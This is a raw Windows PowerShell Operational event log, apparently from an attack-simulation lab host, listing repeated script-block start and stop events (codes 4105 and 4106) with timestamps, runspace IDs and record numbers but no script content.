814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988256 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988255 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:09 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988254 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988273 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988272 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988271 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988270 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988269 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988268 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988267 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988266 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988265 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:13 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988264 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988283 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988282 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988281 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988280 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988279 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988278 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988277 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988276 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988275 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988274 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988293 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988292 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988291 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988290 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988289 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988288 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988287 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988286 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988285 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988284 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988303 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988302 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988301 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988300 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988299 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988298 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988297 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988296 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988295 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988294 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988313 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988312 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988311 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988310 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988309 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988308 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988307 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988306 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988305 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:36 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988304 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988323 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988322 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:09:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED 